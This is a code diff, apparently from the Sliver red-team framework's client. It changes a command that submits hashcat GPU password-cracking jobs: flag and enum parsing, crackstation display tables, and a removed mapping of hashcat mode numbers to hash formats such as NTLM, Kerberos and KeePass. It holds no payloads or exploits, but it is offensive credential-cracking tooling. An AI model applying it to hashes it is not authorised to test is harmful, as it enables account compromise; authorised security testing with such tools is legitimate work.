req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
req.BrainHost, _ = flags.GetString("brain-host")
req.BrainPort, _ = flags.GetUint32("brain-port")
req.BrainPassword, _ = flags.GetString("brain-password")
req.BrainSession, _ = flags.GetString("brain-session")
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
return req, nil
}
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
values, _ := flags.GetUintSlice(name)
if len(values) == 0 {
return nil
}
out := make([]uint32, len(values))
for i, value := range values {
out[i] = uint32(value)
}
return out
}
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
if raw == "" {
return clientpb.CrackAttackMode_STRAIGHT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackAttackMode(numeric), nil
}
normalized := strings.ToLower(strings.TrimSpace(raw))
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
switch normalized {
case "straight":
return clientpb.CrackAttackMode_STRAIGHT, nil
case "combination":
return clientpb.CrackAttackMode_COMBINATION, nil
case "bruteforce", "brute_force", "brute-force":
return clientpb.CrackAttackMode_BRUTEFORCE, nil
case "hybrid_wordlist_mask":
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
case "hybrid_mask_wordlist":
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
case "association":
return clientpb.CrackAttackMode_ASSOCIATION, nil
case "no_attack", "none":
return clientpb.CrackAttackMode_NO_ATTACK, nil
default:
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
}
}
func parseHashType(raw string) (clientpb.HashType, error) {
if raw == "" {
return clientpb.HashType_MD5, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.HashType(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.HashType_value[key]; ok {
return clientpb.HashType(value), nil
}
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
}
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
if raw == "" {
return clientpb.CrackEncoding_INVALID_ENCODING, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackEncoding(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackEncoding_value[key]; ok {
return clientpb.CrackEncoding(value), nil
}
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
}
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
if raw == "" {
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackOutfileFormat(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
return clientpb.CrackOutfileFormat(value), nil
}
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
}
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
if raw == "" {
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackWorkloadProfile(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
return clientpb.CrackWorkloadProfile(value), nil
}
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
}
func normalizeEnumKey(value string) string {
if value == "" {
return ""
}
var builder strings.Builder
builder.Grow(len(value))
underscore := false
for i := 0; i < len(value); i++ {
ch := value[i]
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
if ch >= 'a' && ch <= 'z' {
ch -= 'a' - 'A'
}
builder.WriteByte(ch)
underscore = false
continue
}
if !underscore {
builder.WriteByte('_')
underscore = true
}
}
return strings.Trim(builder.String(), "_")
}
+3 -3
View File
@@ -106,17 +106,17 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient)
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
wordlistTable := table.NewWriter()
wordlistTable.SetTitle(console.StyleBold.Render("Wordlists"))
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
wordlistTable.SetStyle(settings.GetTableStyle(con))
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
rulesTable := table.NewWriter()
rulesTable.SetTitle(console.StyleBold.Render("Rules"))
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
rulesTable.SetStyle(settings.GetTableStyle(con))
rulesTable.AppendHeader(table.Row{"Name", "Size"})
hcTable := table.NewWriter()
hcTable.SetTitle(console.StyleBold.Render("Markov Hcstat2"))
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
hcTable.SetStyle(settings.GetTableStyle(con))
hcTable.AppendHeader(table.Row{"Name", "Size"})
-108
View File
@@ -1,108 +0,0 @@
package crack
import "github.com/spf13/pflag"
func bindCrackFlags(f *pflag.FlagSet) {
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
f.String("hash-type", "", "hashcat hash type (number or enum name)")
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
f.Bool("quiet", false, "quiet mode")
f.Bool("hex-charset", false, "treat charset as hex")
f.Bool("hex-salt", false, "treat salt as hex")
f.Bool("hex-wordlist", false, "treat wordlist as hex")
f.Bool("force", false, "ignore warnings")
f.Bool("deprecated-check-disable", false, "disable deprecated check")
f.Bool("status", false, "enable status")
f.Bool("status-json", false, "emit status in JSON")
f.Uint32("status-timer", 0, "status timer interval (seconds)")
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
f.Bool("machine-readable", false, "machine readable output")
f.Bool("keep-guessing", false, "keep guessing")
f.Bool("self-test-disable", false, "disable self-test")
f.Bool("loopback", false, "use loopback mode")
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
f.Bool("markov-disable", false, "disable markov mode")
f.Bool("markov-classic", false, "use classic markov")
f.Bool("markov-inverse", false, "use inverse markov")
f.Uint32("markov-threshold", 0, "markov threshold")
f.Uint32("runtime", 0, "runtime in seconds")
f.String("session", "", "session name")
f.Bool("restore", false, "restore session")
f.Bool("restore-disable", false, "disable restore")
f.String("restore-file", "", "restore file path or identifier")
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
f.String("separator", "", "separator character")
f.Bool("stdout", false, "stdout output")
f.Bool("show", false, "show cracked hashes")
f.Bool("left", false, "show uncracked hashes")
f.Bool("username", false, "enable username handling")
f.Bool("remove", false, "remove cracked hashes")
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
f.Bool("potfile-disable", false, "disable potfile")
f.String("potfile", "", "potfile path or identifier")
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
f.Uint32("debug-mode", 0, "debug mode mask")
f.Bool("logfile-disable", false, "disable logfile")
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
f.Bool("benchmark", false, "run benchmark")
f.Bool("benchmark-all", false, "run full benchmark")
f.Bool("speed-only", false, "show speed only")
f.Bool("progress-only", false, "show progress only")
f.Uint32("segment-size", 0, "segment size")
f.Uint32("bitmap-min", 0, "bitmap min")
f.Uint32("bitmap-max", 0, "bitmap max")
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
f.Uint32("hook-threads", 0, "hook threads")
f.Bool("hash-info", false, "show hash information")
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
f.Bool("backend-info", false, "show backend info")
f.UintSlice("backend-devices", nil, "backend device IDs")
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
f.Uint32("kernel-accel", 0, "kernel acceleration")
f.Uint32("kernel-loops", 0, "kernel loops")
f.Uint32("kernel-threads", 0, "kernel threads")
f.Uint32("backend-vector-width", 0, "backend vector width")
f.Uint32("spin-damp", 0, "spin damp")
f.Bool("hwmon-disable", false, "disable hardware monitoring")
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
f.Uint64("skip", 0, "skip count")
f.Uint64("limit", 0, "limit count")
f.Bool("keyspace", false, "show keyspace")
f.String("rules-file", "", "rules file path or identifier")
f.Uint32("generate-rules", 0, "generate rules")
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
f.String("generate-rules-func-sel", "", "generate rules function selection")
f.Int32("generate-rules-seed", 0, "generate rules seed")
f.String("custom-charset1", "", "custom charset 1")
f.String("custom-charset2", "", "custom charset 2")
f.String("custom-charset3", "", "custom charset 3")
f.String("custom-charset4", "", "custom charset 4")
f.String("identify", "", "identify hash")
f.Bool("increment", false, "incremental mode")
f.Uint32("increment-min", 0, "increment min")
f.Uint32("increment-max", 0, "increment max")
f.Bool("slow-candidates", false, "slow candidates")
f.Bool("brain-server", false, "brain server mode")
f.Uint32("brain-server-timer", 0, "brain server timer")
f.Bool("brain-client", false, "brain client mode")
f.String("brain-client-features", "", "brain client features")
f.String("brain-host", "", "brain host")
f.Uint32("brain-port", 0, "brain port")
f.String("brain-password", "", "brain password")
f.String("brain-session", "", "brain session")
f.String("brain-session-whitelist", "", "brain session whitelist")
}
+25 -68
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"sort"
"time"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
@@ -35,37 +34,6 @@ import (
// CrackCmd - GPU password cracking interface
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if shouldRunCrack(cmd, args) {
crackCmd, err := buildCrackCommand(cmd, args)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
ctx := context.Background()
if timeoutSeconds > 0 {
var cancel context.CancelFunc
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
defer cancel()
}
resp, err := con.Rpc.Crack(ctx, crackCmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if resp == nil || resp.Job == nil {
con.PrintInfof("Crack request submitted\n")
return
}
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
if resp.Job.Err != "" {
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
}
return
}
if !AreCrackersOnline(con) {
PrintNoCrackstations(con)
} else {
@@ -96,11 +64,10 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
con.PrintErrorf("%s\n", err)
return
}
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
if len(crackers.Crackstations) == 0 {
PrintNoCrackstations(con)
} else {
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
PrintCrackers(crackers.Crackstations, con)
}
}
@@ -116,12 +83,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
return len(crackers.Crackstations) > 0
}
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
sort.Slice(crackers, func(i, j int) bool {
return crackers[i].Name < crackers[j].Name
})
for index, cracker := range crackers {
printCracker(cracker, index, con, showBenchmarks)
printCracker(cracker, index, con)
if index < len(crackers)-1 {
con.Println()
con.Println()
@@ -129,63 +96,53 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient,
}
}
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.StyleBoldOrange.Render(fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName)) + "\n")
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
tw.AppendSeparator()
tw.AppendRow(table.Row{console.StyleBold.Render("Operating System"), fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
tw.AppendRow(table.Row{console.StyleBold.Render("Hashcat Version"), cracker.HashcatVersion})
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
if 0 < len(cracker.CUDA) {
for _, cuda := range cracker.CUDA {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.StyleBold.Render("CUDA Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", cuda.Name, cuda.Version))})
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", cuda.Clock)})
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", cuda.Processors)})
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
}
}
if 0 < len(cracker.Metal) {
for _, metal := range cracker.Metal {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.StyleBold.Render("Metal Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", metal.Name, metal.Version))})
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", metal.Clock)})
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", metal.Processors)})
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
}
}
if 0 < len(cracker.OpenCL) {
for _, openCL := range cracker.OpenCL {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.StyleBold.Render("OpenCL Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", openCL.Name, openCL.Version))})
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", openCL.Clock)})
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", openCL.Processors)})
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
}
}
con.Printf("%s\n", tw.Render())
if showBenchmarks {
con.Println()
printBenchmarks(cracker, con)
}
con.Println()
printBenchmarks(cracker, con)
}
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.StyleBold.Render("Benchmarks"))
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
if len(cracker.Benchmarks) == 0 {
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
} else {
for hashType, speed := range cracker.Benchmarks {
name, ok := hashcatHashTypeName(hashType)
if !ok {
name = clientpb.HashType(hashType).String()
}
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
}
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
for hashType, speed := range cracker.Benchmarks {
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
}
con.Printf("%s\n", tw.Render())
}
-419
View File
@@ -1,419 +0,0 @@
package crack
import "fmt"
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
var hashcatHashTypes = map[int32]string{
0: "MD5",
10: "md5($pass.$salt)",
11: "Joomla < 2.5.18",
12: "PostgreSQL",
20: "md5($salt.$pass)",
21: "osCommerce, xt:Commerce",
22: "Juniper NetScreen/SSG (ScreenOS)",
23: "Skype",
24: "SolarWinds Serv-U",
30: "md5(utf16le($pass).$salt)",
40: "md5($salt.utf16le($pass))",
50: "HMAC-MD5 (key = $pass)",
60: "HMAC-MD5 (key = $salt)",
70: "md5(utf16le($pass))",
100: "SHA1",
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
110: "sha1($pass.$salt)",
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
112: "Oracle S: Type (Oracle 11+)",
120: "sha1($salt.$pass)",
121: "SMF (Simple Machines Forum) > v1.1",
122: "macOS v10.4, macOS v10.5, macOS v10.6",
123: "EPi",
124: "Django (SHA-1)",
125: "ArubaOS",
130: "sha1(utf16le($pass).$salt)",
131: "MSSQL (2000)",
132: "MSSQL (2005)",
133: "PeopleSoft",
140: "sha1($salt.utf16le($pass))",
141: "Episerver 6.x < .NET 4",
150: "HMAC-SHA1 (key = $pass)",
160: "HMAC-SHA1 (key = $salt)",
170: "sha1(utf16le($pass))",
190: "sha1(LinkedIn)",
200: "MySQL323",
300: "MySQL4.1/MySQL5",
400: "phpass, phpBB3 (MD5)",
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
501: "Juniper IVE",
600: "BLAKE2b-512",
900: "MD4",
1000: "NTLM",
1100: "Domain Cached Credentials (DCC), MS Cache",
1300: "SHA2-224",
1400: "SHA2-256",
1410: "sha256($pass.$salt)",
1411: "SSHA-256(Base64), LDAP {SSHA256}",
1420: "sha256($salt.$pass)",
1421: "hMailServer",
1430: "sha256(utf16le($pass).$salt)",
1431: "base64(sha256(unicode($pass)))",
1440: "sha256($salt.utf16le($pass))",
1441: "Episerver 6.x >= .NET 4",
1450: "HMAC-SHA256 (key = $pass)",
1460: "HMAC-SHA256 (key = $salt)",
1470: "sha256(utf16le($pass))",
1500: "descrypt, DES (Unix), Traditional DES",
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
1700: "SHA2-512",
1710: "sha512($pass.$salt)",
1711: "SSHA-512(Base64), LDAP {SSHA512}",
1720: "sha512($salt.$pass)",
1722: "macOS v10.7",
1730: "sha512(utf16le($pass).$salt)",
1731: "MSSQL (2012, 2014)",
1740: "sha512($salt.utf16le($pass))",
1750: "HMAC-SHA512 (key = $pass)",
1760: "HMAC-SHA512 (key = $salt)",
1770: "sha512(utf16le($pass))",
1800: "sha512crypt $6$, SHA512 (Unix)",
2000: "STDOUT",
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
2400: "Cisco-PIX MD5",
2410: "Cisco-ASA MD5",
2500: "WPA-EAPOL-PBKDF2",
2501: "WPA-EAPOL-PMK",
2600: "md5(md5($pass))",
2611: "vBulletin < v3.8.5",
2612: "PHPS",
2711: "vBulletin >= v3.8.5",
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
3000: "LM",
3100: "Oracle H: Type (Oracle 7+)",
3200: "bcrypt $2\\*$, Blowfish (Unix)",
3300: "MD5(Sun)",
3500: "md5(md5(md5($pass)))",
3610: "md5(md5($salt).$pass )",
3710: "md5($salt.md5($pass))",
3711: "MediaWiki B type",
3720: "md5($pass.md5($salt))",
3721: "WebEdition CMS",
3800: "md5($salt.$pass.$salt)",
3910: "md5(md5($pass).md5($salt))",
4010: "md5($salt.md5($salt.$pass))",
4110: "md5($salt.md5($pass.$salt))",
4210: "md5($username.0.$pass)",
4300: "md5(strtoupper(md5($pass)))",
4400: "md5(sha1($pass))",
4500: "sha1(sha1($pass))",
4510: "sha1(sha1($pass).$salt)",
4520: "sha1($salt.sha1($pass))",
4521: "Redmine",
4522: "PunBB",
4600: "sha1(sha1(sha1($pass)))",
4700: "sha1(md5($pass))",
4710: "sha1(md5($pass).$salt)",
4711: "Huawei sha1(md5($pass).$salt)",
4800: "iSCSI CHAP authentication, MD5(CHAP)",
4900: "sha1($salt.$pass.$salt)",
5000: "sha1(sha1($salt.$pass.$salt))",
5100: "Half MD5",
5200: "Password Safe v3",
5300: "IKE-PSK MD5",
5400: "IKE-PSK SHA1",
5500: "NetNTLMv1 / NetNTLMv1+ESS",
5600: "NetNTLMv2",
5700: "Cisco-IOS type 4 (SHA256)",
5800: "Samsung Android Password/PIN",
6000: "RIPEMD-160",
6100: "Whirlpool",
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
6300: "AIX {smd5}",
6400: "AIX {ssha256}",
6500: "AIX {ssha512}",
6600: "1Password, agilekeychain",
6700: "AIX {ssha1}",
6800: "LastPass + LastPass sniffed",
6900: "GOST R 34.11-94",
7000: "FortiGate (FortiOS)",
7100: "macOS v10.8+ (PBKDF2-SHA512)",
7200: "GRUB 2",
7300: "IPMI2 RAKP HMAC-SHA1",
7400: "sha256crypt $5$, SHA256 (Unix)",
7401: "MySQL $A$ (sha256crypt)",
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
7700: "SAP CODVN B (BCODE)",
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
7800: "SAP CODVN F/G (PASSCODE)",
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
7900: "Drupal7",
8000: "Sybase ASE",
8100: "Citrix NetScaler (SHA1)",
8200: "1Password, cloudkeychain",
8300: "DNSSEC (NSEC3)",
8400: "WBB3 (Woltlab Burning Board)",
8500: "RACF",
8600: "Lotus Notes/Domino 5",
8700: "Lotus Notes/Domino 6",
8800: "Android FDE <= 4.3",
8900: "scrypt",
9000: "Password Safe v2",
9100: "Lotus Notes/Domino 8",
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
9300: "Cisco-IOS $9$ (scrypt)",
9400: "MS Office 2007",
9500: "MS Office 2010",
9600: "MS Office 2013",
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
9900: "Radmin2",
10000: "Django (PBKDF2-SHA256)",
10100: "SipHash",
10200: "CRAM-MD5",
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
10600: "PDF 1.7 Level 3 (Acrobat 9)",
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
10800: "SHA2-384",
10810: "sha384($pass.$salt)",
10820: "sha384($salt.$pass)",
10830: "sha384(utf16le($pass).$salt)",
10840: "sha384($salt.utf16le($pass))",
10870: "sha384(utf16le($pass))",
10900: "PBKDF2-HMAC-SHA256",
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
11000: "PrestaShop",
11100: "PostgreSQL CRAM (MD5)",
11200: "MySQL CRAM (SHA1)",
11300: "Bitcoin/Litecoin wallet.dat",
11400: "SIP digest authentication (MD5)",
11500: "CRC32",
11600: "7-Zip",
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
11900: "PBKDF2-HMAC-MD5",
12000: "PBKDF2-HMAC-SHA1",
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
12100: "PBKDF2-HMAC-SHA512",
12200: "eCryptfs",
12300: "Oracle T: Type (Oracle 12+)",
12400: "BSDi Crypt, Extended DES",
12500: "RAR3-hp",
12600: "ColdFusion 10+",
12700: "Blockchain, My Wallet",
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
12900: "Android FDE (Samsung DEK)",
13000: "RAR5",
13100: "Kerberos 5, etype 23, TGS-REP",
13200: "AxCrypt 1",
13300: "AxCrypt 1 in-memory SHA1",
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
13500: "PeopleSoft PS_TOKEN",
13600: "WinZip",
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
